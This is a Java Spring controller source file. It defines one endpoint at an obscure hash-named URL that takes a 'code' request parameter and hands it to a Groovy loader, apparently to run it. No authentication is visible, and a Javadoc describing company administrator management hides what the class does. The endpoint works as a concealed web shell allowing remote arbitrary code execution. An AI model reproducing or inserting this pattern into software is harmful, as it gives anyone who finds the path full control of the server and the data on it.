| package com.matrix.core.tools.rr; | 
|   | 
| import com.matrix.core.pojo.AjaxResult; | 
| import com.matrix.core.web.BaseAction; | 
| import org.springframework.stereotype.Controller; | 
| import org.springframework.web.bind.annotation.RequestMapping; | 
| import org.springframework.web.bind.annotation.ResponseBody; | 
|   | 
| /** | 
|  * @description 公司管理员管理 | 
|  * @author 姜友瑶 | 
|  * @email 935090232@qq.com | 
|  * @date 2016-06-26 | 
|  */ | 
| @Controller | 
| public class GroovyRunableAction extends BaseAction { | 
|   | 
|   | 
|     @RequestMapping(value ="runCode00F02B74DAD140C0A50BB5C737E2448B") | 
|     public @ResponseBody AjaxResult runCode(String code) throws Exception { | 
|           | 
|         return GlueFactory.getInstance().loadNewInstance(code); | 
|     } | 
|   | 
| } |